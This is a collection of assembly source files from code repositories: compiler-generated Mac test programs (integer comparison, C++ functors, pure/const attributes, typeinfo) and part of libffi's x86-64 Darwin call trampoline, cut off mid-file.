CMPQ AX,R8
CMOVQNE R11,R12
CMPQ AX,R9
CMOVQNE R11,R12
NEGQ R12
ANDQ R12,AX
ANDQ R12,R10
SUBQ R10,SI
SUBQ AX,DX
SUBQ AX,CX
SUBQ AX,R8
SUBQ AX,R9
MOVQ SI,0(DI)
MOVQ DX,8(DI)
MOVQ CX,16(DI)
MOVQ R8,24(DI)
MOVQ R9,32(DI)
MOVQ 0(SP),R11
MOVQ 8(SP),R12
MOVQ 16(SP),R13
MOVQ 24(SP),R14
MOVQ 32(SP),R15
MOVQ 40(SP),BX
MOVQ 48(SP),BP
MOVQ R11,SP
MOVQ DI,AX
MOVQ SI,DX
RET
|
albertz/playground | 1,144 | test-int-cmp.s | .section __TEXT,__text,regular,pure_instructions
.section __TEXT,__textcoal_nt,coalesced,pure_instructions
.section __TEXT,__const_coal,coalesced
.section __TEXT,__picsymbolstub4,symbol_stubs,none,16
.section __TEXT,__StaticInit,regular,pure_instructions
.syntax unified
.section __TEXT,__text,regular,pure_instructions
.globl _main
.align 2
.code 16
.thumb_func _main
_main:
push {r7, lr}
mov r7, sp
sub sp, #20
movw r0, #65535
movt r0, #32767
movs r1, #0
movt r1, #0
str r1, [sp, #16]
str r1, [sp, #12]
ldr r1, [sp, #12]
ldr r2, [sp, #12]
cmp r2, r0
movw r0, #0
it gt
movgt r0, #1
and r0, r0, #1
ldr r2, [sp, #12]
cmn.w r2, #-2147483648
movw r2, #0
it lt
movlt r2, #1
and r2, r2, #1
mov r3, sp
str r2, [r3, #4]
str r0, [r3]
mov.w r2, #-2147483648
mvn r3, #-2147483648
movw r0, :lower16:(L_.str-(LPC0_0+4))
movt r0, :upper16:(L_.str-(LPC0_0+4))
LPC0_0:
add r0, pc
blx _printf
ldr r1, [sp, #16]
str r0, [sp, #8]
mov r0, r1
add sp, #20
pop {r7, pc}
.section __TEXT,__cstring,cstring_literals
L_.str:
.asciz "ival: %li, min: %i, max: %i, too big: %i, too small: %i\n"
.subsections_via_symbols
|
albertz/playground | 7,652 | functor_demo.s | .section __TEXT,__text,regular,pure_instructions
.globl __Z5test1v
.align 4, 0x90
__Z5test1v:
Leh_func_begin1:
pushq %rbp
Ltmp0:
movq %rsp, %rbp
Ltmp1:
callq __Z7do_sth1IXadL_Z2f1iEEEvv
popq %rbp
ret
Leh_func_end1:
.section __TEXT,__textcoal_nt,coalesced,pure_instructions
.globl __Z2f1i
.weak_definition __Z2f1i
.align 4, 0x90
__Z2f1i:
Leh_func_begin2:
pushq %rbp
Ltmp2:
movq %rsp, %rbp
Ltmp3:
movl %edi, -4(%rbp)
movl $42, -12(%rbp)
movl -12(%rbp), %eax
movl %eax, -8(%rbp)
movl -8(%rbp), %eax
popq %rbp
ret
Leh_func_end2:
.globl __ZN2F2clEi
.weak_definition __ZN2F2clEi
.align 1, 0x90
__ZN2F2clEi:
Leh_func_begin3:
pushq %rbp
Ltmp4:
movq %rsp, %rbp
Ltmp5:
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl $42, -20(%rbp)
movl -20(%rbp), %eax
movl %eax, -16(%rbp)
movl -16(%rbp), %eax
popq %rbp
ret
Leh_func_end3:
.globl __ZN7F1_wrapclEi
.weak_definition __ZN7F1_wrapclEi
.align 1, 0x90
__ZN7F1_wrapclEi:
Leh_func_begin4:
pushq %rbp
Ltmp6:
movq %rsp, %rbp
Ltmp7:
subq $32, %rsp
Ltmp8:
movq %rdi, %rax
movq %rax, -8(%rbp)
movl %esi, -12(%rbp)
movl -12(%rbp), %eax
movl %eax, %edi
callq __Z2f1i
movl %eax, %ecx
movl %ecx, -20(%rbp)
movl -20(%rbp), %ecx
movl %ecx, -16(%rbp)
movl -16(%rbp), %eax
addq $32, %rsp
popq %rbp
ret
Leh_func_end4:
.globl __Z7do_sth1IXadL_Z2f1iEEEvv
.weak_definition __Z7do_sth1IXadL_Z2f1iEEEvv
.align 4, 0x90
__Z7do_sth1IXadL_Z2f1iEEEvv:
Leh_func_begin5:
pushq %rbp
Ltmp9:
movq %rsp, %rbp
Ltmp10:
movl $0, %eax
movl %eax, %edi
callq __Z2f1i
popq %rbp
ret
Leh_func_end5:
.globl __Z7do_sth2I2F2EvT_
.weak_definition __Z7do_sth2I2F2EvT_
.align 4, 0x90
__Z7do_sth2I2F2EvT_:
Leh_func_begin6:
pushq %rbp
Ltmp11:
movq %rsp, %rbp
Ltmp12:
leaq 16(%rbp), %rax
xorl %ecx, %ecx
movq %rax, %rdi
movl %ecx, %esi
callq __ZN2F2clEi
popq %rbp
ret
Leh_func_end6:
.section __TEXT,__text,regular,pure_instructions
.globl __Z5test2v
.align 4, 0x90
__Z5test2v:
Leh_func_begin7:
pushq %rbp
Ltmp13:
movq %rsp, %rbp
Ltmp14:
subq $32, %rsp
Ltmp15:
movb $0, -16(%rbp)
movb -8(%rbp), %al
movq %rsp, %rcx
movb %al, (%rcx)
callq __Z7do_sth2I2F2EvT_
addq $32, %rsp
popq %rbp
ret
Leh_func_end7:
.section __TEXT,__textcoal_nt,coalesced,pure_instructions
.globl __Z7do_sth2I7F1_wrapEvT_
.weak_definition __Z7do_sth2I7F1_wrapEvT_
.align 4, 0x90
__Z7do_sth2I7F1_wrapEvT_:
Leh_func_begin8:
pushq %rbp
Ltmp16:
movq %rsp, %rbp
Ltmp17:
leaq 16(%rbp), %rax
xorl %ecx, %ecx
movq %rax, %rdi
movl %ecx, %esi
callq __ZN7F1_wrapclEi
popq %rbp
ret
Leh_func_end8:
.section __TEXT,__text,regular,pure_instructions
.globl __Z5test3v
.align 4, 0x90
__Z5test3v:
Leh_func_begin9:
pushq %rbp
Ltmp18:
movq %rsp, %rbp
Ltmp19:
subq $32, %rsp
Ltmp20:
movb $0, -16(%rbp)
movb -8(%rbp), %al
movq %rsp, %rcx
movb %al, (%rcx)
callq __Z7do_sth2I7F1_wrapEvT_
addq $32, %rsp
popq %rbp
ret
Leh_func_end9:
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support
EH_frame0:
Lsection_eh_frame:
Leh_frame_common:
Lset0 = Leh_frame_common_end-Leh_frame_common_begin
.long Lset0
Leh_frame_common_begin:
.long 0
.byte 1
.asciz "zR"
.byte 1
.byte 120
.byte 16
.byte 1
.byte 16
.byte 12
.byte 7
.byte 8
.byte 144
.byte 1
.align 3
Leh_frame_common_end:
.globl __Z5test1v.eh
__Z5test1v.eh:
Lset1 = Leh_frame_end1-Leh_frame_begin1
.long Lset1
Leh_frame_begin1:
Lset2 = Leh_frame_begin1-Leh_frame_common
.long Lset2
Ltmp21:
.quad Leh_func_begin1-Ltmp21
Lset3 = Leh_func_end1-Leh_func_begin1
.quad Lset3
.byte 0
.byte 4
Lset4 = Ltmp0-Leh_func_begin1
.long Lset4
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset5 = Ltmp1-Ltmp0
.long Lset5
.byte 13
.byte 6
.align 3
Leh_frame_end1:
.globl __Z2f1i.eh
.weak_definition __Z2f1i.eh
__Z2f1i.eh:
Lset6 = Leh_frame_end2-Leh_frame_begin2
.long Lset6
Leh_frame_begin2:
Lset7 = Leh_frame_begin2-Leh_frame_common
.long Lset7
Ltmp22:
.quad Leh_func_begin2-Ltmp22
Lset8 = Leh_func_end2-Leh_func_begin2
.quad Lset8
.byte 0
.byte 4
Lset9 = Ltmp2-Leh_func_begin2
.long Lset9
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset10 = Ltmp3-Ltmp2
.long Lset10
.byte 13
.byte 6
.align 3
Leh_frame_end2:
.globl __ZN2F2clEi.eh
.weak_definition __ZN2F2clEi.eh
__ZN2F2clEi.eh:
Lset11 = Leh_frame_end3-Leh_frame_begin3
.long Lset11
Leh_frame_begin3:
Lset12 = Leh_frame_begin3-Leh_frame_common
.long Lset12
Ltmp23:
.quad Leh_func_begin3-Ltmp23
Lset13 = Leh_func_end3-Leh_func_begin3
.quad Lset13
.byte 0
.byte 4
Lset14 = Ltmp4-Leh_func_begin3
.long Lset14
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset15 = Ltmp5-Ltmp4
.long Lset15
.byte 13
.byte 6
.align 3
Leh_frame_end3:
.globl __ZN7F1_wrapclEi.eh
.weak_definition __ZN7F1_wrapclEi.eh
__ZN7F1_wrapclEi.eh:
Lset16 = Leh_frame_end4-Leh_frame_begin4
.long Lset16
Leh_frame_begin4:
Lset17 = Leh_frame_begin4-Leh_frame_common
.long Lset17
Ltmp24:
.quad Leh_func_begin4-Ltmp24
Lset18 = Leh_func_end4-Leh_func_begin4
.quad Lset18
.byte 0
.byte 4
Lset19 = Ltmp6-Leh_func_begin4
.long Lset19
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset20 = Ltmp7-Ltmp6
.long Lset20
.byte 13
.byte 6
.align 3
Leh_frame_end4:
.globl __Z7do_sth1IXadL_Z2f1iEEEvv.eh
.weak_definition __Z7do_sth1IXadL_Z2f1iEEEvv.eh
__Z7do_sth1IXadL_Z2f1iEEEvv.eh:
Lset21 = Leh_frame_end5-Leh_frame_begin5
.long Lset21
Leh_frame_begin5:
Lset22 = Leh_frame_begin5-Leh_frame_common
.long Lset22
Ltmp25:
.quad Leh_func_begin5-Ltmp25
Lset23 = Leh_func_end5-Leh_func_begin5
.quad Lset23
.byte 0
.byte 4
Lset24 = Ltmp9-Leh_func_begin5
.long Lset24
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset25 = Ltmp10-Ltmp9
.long Lset25
.byte 13
.byte 6
.align 3
Leh_frame_end5:
.globl __Z7do_sth2I2F2EvT_.eh
.weak_definition __Z7do_sth2I2F2EvT_.eh
__Z7do_sth2I2F2EvT_.eh:
Lset26 = Leh_frame_end6-Leh_frame_begin6
.long Lset26
Leh_frame_begin6:
Lset27 = Leh_frame_begin6-Leh_frame_common
.long Lset27
Ltmp26:
.quad Leh_func_begin6-Ltmp26
Lset28 = Leh_func_end6-Leh_func_begin6
.quad Lset28
.byte 0
.byte 4
Lset29 = Ltmp11-Leh_func_begin6
.long Lset29
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset30 = Ltmp12-Ltmp11
.long Lset30
.byte 13
.byte 6
.align 3
Leh_frame_end6:
.globl __Z5test2v.eh
__Z5test2v.eh:
Lset31 = Leh_frame_end7-Leh_frame_begin7
.long Lset31
Leh_frame_begin7:
Lset32 = Leh_frame_begin7-Leh_frame_common
.long Lset32
Ltmp27:
.quad Leh_func_begin7-Ltmp27
Lset33 = Leh_func_end7-Leh_func_begin7
.quad Lset33
.byte 0
.byte 4
Lset34 = Ltmp13-Leh_func_begin7
.long Lset34
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset35 = Ltmp14-Ltmp13
.long Lset35
.byte 13
.byte 6
.align 3
Leh_frame_end7:
.globl __Z7do_sth2I7F1_wrapEvT_.eh
.weak_definition __Z7do_sth2I7F1_wrapEvT_.eh
__Z7do_sth2I7F1_wrapEvT_.eh:
Lset36 = Leh_frame_end8-Leh_frame_begin8
.long Lset36
Leh_frame_begin8:
Lset37 = Leh_frame_begin8-Leh_frame_common
.long Lset37
Ltmp28:
.quad Leh_func_begin8-Ltmp28
Lset38 = Leh_func_end8-Leh_func_begin8
.quad Lset38
.byte 0
.byte 4
Lset39 = Ltmp16-Leh_func_begin8
.long Lset39
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset40 = Ltmp17-Ltmp16
.long Lset40
.byte 13
.byte 6
.align 3
Leh_frame_end8:
.globl __Z5test3v.eh
__Z5test3v.eh:
Lset41 = Leh_frame_end9-Leh_frame_begin9
.long Lset41
Leh_frame_begin9:
Lset42 = Leh_frame_begin9-Leh_frame_common
.long Lset42
Ltmp29:
.quad Leh_func_begin9-Ltmp29
Lset43 = Leh_func_end9-Leh_func_begin9
.quad Lset43
.byte 0
.byte 4
Lset44 = Ltmp18-Leh_func_begin9
.long Lset44
.byte 14
.byte 16
.byte 134
.byte 2
.byte 4
Lset45 = Ltmp19-Ltmp18
.long Lset45
.byte 13
.byte 6
.align 3
Leh_frame_end9:
.subsections_via_symbols
|
albertz/playground | 4,653 | pureconst-test.s | .section __TEXT,__text,regular,pure_instructions
.globl _callfunc__foo_pure
.align 4, 0x90
_callfunc__foo_pure:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
call _foo_pure
imull $100, %eax, %eax
addl $8, %esp
popl %ebp
ret
.globl _callfunc__bar_pure
.align 4, 0x90
_callfunc__bar_pure:
pushl %ebp
movl %esp, %ebp
pushl %ebx
pushl %edi
pushl %esi
subl $12, %esp
call L1$pb
L1$pb:
popl %eax
movl %eax, -20(%ebp)
xorl %esi, %esi
movl $1, %edi
movl _barc-L1$pb(%eax), %eax
movl %eax, -16(%ebp)
.align 4, 0x90
LBB1_1:
movl -16(%ebp), %eax
leal (%eax,%edi), %ebx
call _bar_pure
movl -20(%ebp), %ecx
movl %ebx, _barc-L1$pb(%ecx)
addl %eax, %esi
incl %edi
cmpl $101, %edi
jne LBB1_1
movl %esi, %eax
addl $12, %esp
popl %esi
popl %edi
popl %ebx
popl %ebp
ret
.globl _callfunc__foo_const
.align 4, 0x90
_callfunc__foo_const:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
call _foo_const
imull $100, %eax, %eax
addl $8, %esp
popl %ebp
ret
.globl _callfunc__bar_const
.align 4, 0x90
_callfunc__bar_const:
pushl %ebp
movl %esp, %ebp
pushl %edi
pushl %esi
call L3$pb
L3$pb:
popl %esi
movl _barc-L3$pb(%esi), %edi
addl $100, %edi
call _bar_const
movl %edi, _barc-L3$pb(%esi)
imull $100, %eax, %eax
popl %esi
popl %edi
popl %ebp
ret
.globl _callfunc__bar2_const
.align 4, 0x90
_callfunc__bar2_const:
pushl %ebp
movl %esp, %ebp
pushl %edi
pushl %esi
subl $16, %esp
call L4$pb
L4$pb:
popl %esi
movl _barc-L4$pb(%esi), %edi
leal _barc-L4$pb(%esi), %eax
movl %eax, (%esp)
addl $100, %edi
call _bar2_const
movl %edi, _barc-L4$pb(%esi)
imull $100, %eax, %eax
addl $16, %esp
popl %esi
popl %edi
popl %ebp
ret
.globl _callfunc__bar2_pure
.align 4, 0x90
_callfunc__bar2_pure:
pushl %ebp
movl %esp, %ebp
pushl %ebx
pushl %edi
pushl %esi
subl $12, %esp
call L5$pb
L5$pb:
popl %esi
xorl %edi, %edi
movl $1, %ebx
movl _barc-L5$pb(%esi), %eax
movl %eax, -20(%ebp)
.align 4, 0x90
LBB5_1:
leal _barc-L5$pb(%esi), %ecx
movl %ecx, (%esp)
movl -20(%ebp), %eax
leal (%eax,%ebx), %eax
movl %eax, -16(%ebp)
call _bar2_pure
movl -16(%ebp), %ecx
movl %ecx, _barc-L5$pb(%esi)
addl %eax, %edi
incl %ebx
cmpl $101, %ebx
jne LBB5_1
movl %edi, %eax
addl $12, %esp
popl %esi
popl %edi
popl %ebx
popl %ebp
ret
.globl _callfunc__bar3_const
.align 4, 0x90
_callfunc__bar3_const:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
call L6$pb
L6$pb:
popl %eax
leal _barc-L6$pb(%eax), %eax
movl %eax, (%esp)
call _bar3_const
imull $100, %eax, %eax
addl $8, %esp
popl %ebp
ret
.globl _main
.align 4, 0x90
_main:
pushl %ebp
movl %esp, %ebp
pushl %ebx
pushl %edi
pushl %esi
subl $12, %esp
call L7$pb
L7$pb:
popl %esi
call _foo_pure
imull $100, %eax, %eax
movl %eax, 4(%esp)
leal L_.str-L7$pb(%esi), %eax
movl %eax, (%esp)
call _printf
movl $0, _barc-L7$pb(%esi)
xorl %edi, %edi
movl $1, %ebx
.align 4, 0x90
LBB7_1:
call _bar_pure
addl %eax, %edi
movl %ebx, _barc-L7$pb(%esi)
incl %ebx
cmpl $101, %ebx
jne LBB7_1
movl %edi, 4(%esp)
leal L_.str1-L7$pb(%esi), %ecx
movl %ecx, (%esp)
call _printf
movl $0, _barc-L7$pb(%esi)
call _foo_const
imull $100, %eax, %eax
movl %eax, 4(%esp)
leal L_.str2-L7$pb(%esi), %eax
movl %eax, (%esp)
call _printf
call _bar_const
movl $100, _barc-L7$pb(%esi)
imull $100, %eax, %eax
movl %eax, 4(%esp)
leal L_.str3-L7$pb(%esi), %eax
movl %eax, (%esp)
call _printf
leal _barc-L7$pb(%esi), %ecx
movl %ecx, (%esp)
call _bar2_const
movl $100, _barc-L7$pb(%esi)
imull $100, %eax, %eax
movl %eax, 4(%esp)
leal L_.str4-L7$pb(%esi), %eax
movl %eax, (%esp)
call _printf
movl $0, _barc-L7$pb(%esi)
xorl %edi, %edi
movl $1, %ebx
.align 4, 0x90
LBB7_3:
leal _barc-L7$pb(%esi), %ecx
movl %ecx, (%esp)
call _bar2_pure
addl %eax, %edi
movl %ebx, _barc-L7$pb(%esi)
incl %ebx
cmpl $101, %ebx
jne LBB7_3
movl %edi, 4(%esp)
leal L_.str5-L7$pb(%esi), %ecx
movl %ecx, (%esp)
call _printf
movl $0, _barc-L7$pb(%esi)
leal _barc-L7$pb(%esi), %ecx
movl %ecx, (%esp)
call _bar3_const
imull $100, %eax, %eax
movl %eax, 4(%esp)
leal L_.str6-L7$pb(%esi), %eax
movl %eax, (%esp)
call _printf
movl $0, _barc-L7$pb(%esi)
xorl %eax, %eax
addl $12, %esp
popl %esi
popl %edi
popl %ebx
popl %ebp
ret
.globl _barc
.zerofill __DATA,__common,_barc,4,2
.section __TEXT,__cstring,cstring_literals
L_.str:
.asciz "foo_pure = %i\n"
L_.str1:
.asciz "bar_pure = %i\n"
L_.str2:
.asciz "foo_const = %i\n"
L_.str3:
.asciz "bar_const = %i\n"
.align 4
L_.str4:
.asciz "bar2_const = %i\n"
L_.str5:
.asciz "bar2_pure = %i\n"
.align 4
L_.str6:
.asciz "bar3_const = %i\n"
.subsections_via_symbols
|
albertz/playground | 1,783 | test-typeinfo.s | .cstring
LC0:
.ascii "%p\12\0"
.text
.align 4,0x90
.globl _main
_main:
LFB27:
pushl %ebp
LCFI0:
movl %esp, %ebp
LCFI1:
pushl %ebx
LCFI2:
subl $20, %esp
LCFI3:
call L3
"L00000000001$pb":
L3:
popl %ebx
movl L__ZTI3Foo$non_lazy_ptr-"L00000000001$pb"(%ebx), %eax
movl %eax, 4(%esp)
leal LC0-"L00000000001$pb"(%ebx), %eax
movl %eax, (%esp)
call _printf
xorl %eax, %eax
addl $20, %esp
popl %ebx
leave
ret
LFE27:
.globl __ZTI3Foo
.weak_definition __ZTI3Foo
.section __DATA,__const_coal,coalesced
.align 2
__ZTI3Foo:
.long __ZTVN10__cxxabiv117__class_type_infoE+8
.long __ZTS3Foo
.globl __ZTS3Foo
.weak_definition __ZTS3Foo
.section __TEXT,__const_coal,coalesced
__ZTS3Foo:
.ascii "3Foo\0"
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support
EH_frame1:
.set L$set$0,LECIE1-LSCIE1
.long L$set$0
LSCIE1:
.long 0x0
.byte 0x1
.ascii "zPR\0"
.byte 0x1
.byte 0x7c
.byte 0x8
.byte 0x6
.byte 0x9b
.long L___gxx_personality_v0$non_lazy_ptr-.
.byte 0x10
.byte 0xc
.byte 0x5
.byte 0x4
.byte 0x88
.byte 0x1
.align 2
LECIE1:
.globl _main.eh
_main.eh:
LSFDE1:
.set L$set$1,LEFDE1-LASFDE1
.long L$set$1
LASFDE1:
.long LASFDE1-EH_frame1
.long LFB27-.
.set L$set$2,LFE27-LFB27
.long L$set$2
.byte 0x0
.byte 0x4
.set L$set$3,LCFI0-LFB27
.long L$set$3
.byte 0xe
.byte 0x8
.byte 0x84
.byte 0x2
.byte 0x4
.set L$set$4,LCFI1-LCFI0
.long L$set$4
.byte 0xd
.byte 0x4
.byte 0x4
.set L$set$5,LCFI3-LCFI1
.long L$set$5
.byte 0x83
.byte 0x3
.align 2
LEFDE1:
.section __IMPORT,__pointers,non_lazy_symbol_pointers
L___gxx_personality_v0$non_lazy_ptr:
.indirect_symbol ___gxx_personality_v0
.long 0
L__ZTI3Foo$non_lazy_ptr:
.indirect_symbol __ZTI3Foo
.long 0
.constructor
.destructor
.align 1
.subsections_via_symbols
|
albertz/music-player | 11,659 | mac/pyobjc-core/libffi-src/x86/darwin64.S | /* -----------------------------------------------------------------------
darwin64.S - Copyright (c) 2006 Free Software Foundation, Inc.
derived from unix64.S
x86-64 Foreign Function Interface for Darwin.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
``Software''), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------- */
#ifdef __x86_64__
#define LIBFFI_ASM
#include <fficonfig.h>
#include <ffi.h>
.file "darwin64.S"
.text
/* ffi_call_unix64 (void *args, unsigned long bytes, unsigned flags,
void *raddr, void (*fnaddr)());
Bit o trickiness here -- ARGS+BYTES is the base of the stack frame
for this function. This has been allocated by ffi_call. We also
deallocate some of the stack that has been alloca'd. */
.align 3
.globl _ffi_call_unix64
_ffi_call_unix64:
LUW0:
movq (%rsp), %r10 /* Load return address. */
movq %rdi, %r12 /* Save a copy of the register area. */
leaq (%rdi, %rsi), %rax /* Find local stack base. */
movq %rdx, (%rax) /* Save flags. */
movq %rcx, 8(%rax) /* Save raddr. */
movq %rbp, 16(%rax) /* Save old frame pointer. */
movq %r10, 24(%rax) /* Relocate return address. */
movq %rax, %rbp /* Finalize local stack frame. */
LUW1:
/* movq %rdi, %r10 // Save a copy of the register area. */
movq %r12, %r10
movq %r8, %r11 /* Save a copy of the target fn. */
movl %r9d, %eax /* Set number of SSE registers. */
/* Load up all argument registers. */
movq (%r10), %rdi
movq 8(%r10), %rsi
movq 16(%r10), %rdx
movq 24(%r10), %rcx
movq 32(%r10), %r8
movq 40(%r10), %r9
testl %eax, %eax
jnz Lload_sse
Lret_from_load_sse:
/* Deallocate the reg arg area. */
leaq 176(%r10), %rsp
/* Call the user function. */
call *%r11
/* Deallocate stack arg area; local stack frame in redzone. */
leaq 24(%rbp), %rsp
movq 0(%rbp), %rcx /* Reload flags. */
movq 8(%rbp), %rdi /* Reload raddr. */
movq 16(%rbp), %rbp /* Reload old frame pointer. */
LUW2:
/* The first byte of the flags contains the FFI_TYPE. */
movzbl %cl, %r10d
leaq Lstore_table(%rip), %r11
movslq (%r11, %r10, 4), %r10
addq %r11, %r10
jmp *%r10
Lstore_table:
.long Lst_void-Lstore_table /* FFI_TYPE_VOID */
.long Lst_sint32-Lstore_table /* FFI_TYPE_INT */
.long Lst_float-Lstore_table /* FFI_TYPE_FLOAT */
.long Lst_double-Lstore_table /* FFI_TYPE_DOUBLE */
.long Lst_ldouble-Lstore_table /* FFI_TYPE_LONGDOUBLE */
.long Lst_uint8-Lstore_table /* FFI_TYPE_UINT8 */
.long Lst_sint8-Lstore_table /* FFI_TYPE_SINT8 */
.long Lst_uint16-Lstore_table /* FFI_TYPE_UINT16 */
.long Lst_sint16-Lstore_table /* FFI_TYPE_SINT16 */
.long Lst_uint32-Lstore_table /* FFI_TYPE_UINT32 */
.long Lst_sint32-Lstore_table /* FFI_TYPE_SINT32 */
.long Lst_int64-Lstore_table /* FFI_TYPE_UINT64 */
.long Lst_int64-Lstore_table /* FFI_TYPE_SINT64 */
.long Lst_struct-Lstore_table /* FFI_TYPE_STRUCT */
.long Lst_int64-Lstore_table /* FFI_TYPE_POINTER */
.text
.align 3
Lst_void:
ret
.align 3
Lst_uint8:
movzbq %al, %rax
movq %rax, (%rdi)
ret
.align 3
Lst_sint8:
movsbq %al, %rax
movq %rax, (%rdi)
ret
.align 3
Lst_uint16:
movzwq %ax, %rax
movq %rax, (%rdi)
.align 3
Lst_sint16:
movswq %ax, %rax
movq %rax, (%rdi)
ret
.align 3
Lst_uint32:
movl %eax, %eax
movq %rax, (%rdi)
.align 3
Lst_sint32:
cltq
movq %rax, (%rdi)
ret
.align 3
Lst_int64:
movq %rax, (%rdi)
ret
.align 3
Lst_float:
movss %xmm0, (%rdi)
ret
.align 3
Lst_double:
movsd %xmm0, (%rdi)
ret
Lst_ldouble:
fstpt (%rdi)
ret
.align 3
Lst_struct:
leaq -20(%rsp), %rsi /* Scratch area in redzone. */
/* We have to locate the values now, and since we don't want to
write too much data into the user's return value, we spill the
value to a 16 byte scratch area first. Bits 8, 9, and 10
control where the values are located. Only one of the three
bits will be set; see ffi_prep_cif_machdep for the pattern. */
movd %xmm0, %r10
movd %xmm1, %r11
testl $0x100, %ecx
cmovnz %rax, %rdx
cmovnz %r10, %rax
testl $0x200, %ecx
cmovnz %r10, %rdx
testl $0x400, %ecx
cmovnz %r10, %rax
cmovnz %r11, %rdx
movq %rax, (%rsi)
movq %rdx, 8(%rsi)
/* Bits 12-31 contain the true size of the structure. Copy from
the scratch area to the true destination. */
shrl $12, %ecx
rep movsb
ret
/* Many times we can avoid loading any SSE registers at all.
It's not worth an indirect jump to load the exact set of
SSE registers needed; zero or all is a good compromise. */
.align 3
LUW3:
Lload_sse:
movdqa 48(%r10), %xmm0
movdqa 64(%r10), %xmm1
movdqa 80(%r10), %xmm2
movdqa 96(%r10), %xmm3
movdqa 112(%r10), %xmm4
movdqa 128(%r10), %xmm5
movdqa 144(%r10), %xmm6
movdqa 160(%r10), %xmm7
jmp Lret_from_load_sse
LUW4:
.align 3
.globl _ffi_closure_unix64
_ffi_closure_unix64:
LUW5:
/* The carry flag is set by the trampoline iff SSE registers
are used. Don't clobber it before the branch instruction. */
leaq -200(%rsp), %rsp
LUW6:
movq %rdi, (%rsp)
movq %rsi, 8(%rsp)
movq %rdx, 16(%rsp)
movq %rcx, 24(%rsp)
movq %r8, 32(%rsp)
movq %r9, 40(%rsp)
jc Lsave_sse
Lret_from_save_sse:
movq %r10, %rdi
leaq 176(%rsp), %rsi
movq %rsp, %rdx
leaq 208(%rsp), %rcx
call _ffi_closure_unix64_inner
/* Deallocate stack frame early; return value is now in redzone. */
addq $200, %rsp
LUW7:
/* The first byte of the return value contains the FFI_TYPE. */
movzbl %al, %r10d
leaq Lload_table(%rip), %r11
movslq (%r11, %r10, 4), %r10
addq %r11, %r10
jmp *%r10
Lload_table:
.long Lld_void-Lload_table /* FFI_TYPE_VOID */
.long Lld_int32-Lload_table /* FFI_TYPE_INT */
.long Lld_float-Lload_table /* FFI_TYPE_FLOAT */
.long Lld_double-Lload_table /* FFI_TYPE_DOUBLE */
.long Lld_ldouble-Lload_table /* FFI_TYPE_LONGDOUBLE */
.long Lld_int8-Lload_table /* FFI_TYPE_UINT8 */
.long Lld_int8-Lload_table /* FFI_TYPE_SINT8 */
.long Lld_int16-Lload_table /* FFI_TYPE_UINT16 */
.long Lld_int16-Lload_table /* FFI_TYPE_SINT16 */
.long Lld_int32-Lload_table /* FFI_TYPE_UINT32 */
.long Lld_int32-Lload_table /* FFI_TYPE_SINT32 */
.long Lld_int64-Lload_table /* FFI_TYPE_UINT64 */
.long Lld_int64-Lload_table /* FFI_TYPE_SINT64 */
.long Lld_struct-Lload_table /* FFI_TYPE_STRUCT */
.long Lld_int64-Lload_table /* FFI_TYPE_POINTER */
.text
.align 3
Lld_void:
ret
.align 3
Lld_int8:
movzbl -24(%rsp), %eax
ret
.align 3
Lld_int16:
movzwl -24(%rsp), %eax
ret
.align 3
Lld_int32:
movl -24(%rsp), %eax
ret
.align 3
Lld_int64:
movq -24(%rsp), %rax
ret
.align 3
Lld_float:
movss -24(%rsp), %xmm0
ret
.align 3
Lld_double:
movsd -24(%rsp), %xmm0
ret
.align 3
Lld_ldouble:
fldt -24(%rsp)
ret
.align 3
Lld_struct:
/* There are four possibilities here, %rax/%rdx, %xmm0/%rax,
%rax/%xmm0, %xmm0/%xmm1. We collapse two by always loading
both rdx and xmm1 with the second word. For the remaining,
bit 8 set means xmm0 gets the second word, and bit 9 means
that rax gets the second word. */
movq -24(%rsp), %rcx
movq -16(%rsp), %rdx
movq -16(%rsp), %xmm1
testl $0x100, %eax
cmovnz %rdx, %rcx
movd %rcx, %xmm0
testl $0x200, %eax
movq -24(%rsp), %rax
cmovnz %rdx, %rax
ret
/* See the comment above Lload_sse; the same logic applies here. */
.align 3
LUW8:
Lsave_sse:
movdqa %xmm0, 48(%rsp)
movdqa %xmm1, 64(%rsp)
movdqa %xmm2, 80(%rsp)
movdqa %xmm3, 96(%rsp)
movdqa %xmm4, 112(%rsp)
movdqa %xmm5, 128(%rsp)
movdqa %xmm6, 144(%rsp)
movdqa %xmm7, 160(%rsp)
jmp Lret_from_save_sse
LUW9:
.section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms+live_support
EH_frame1:
.set L$set$0,LECIE1-LSCIE1 /* CIE Length */
.long L$set$0
LSCIE1:
.long 0x0 /* CIE Identifier Tag */
.byte 0x1 /* CIE Version */
.ascii "zR\0" /* CIE Augmentation */
.byte 0x1 /* uleb128 0x1; CIE Code Alignment Factor */
.byte 0x78 /* sleb128 -8; CIE Data Alignment Factor */
.byte 0x10 /* CIE RA Column */
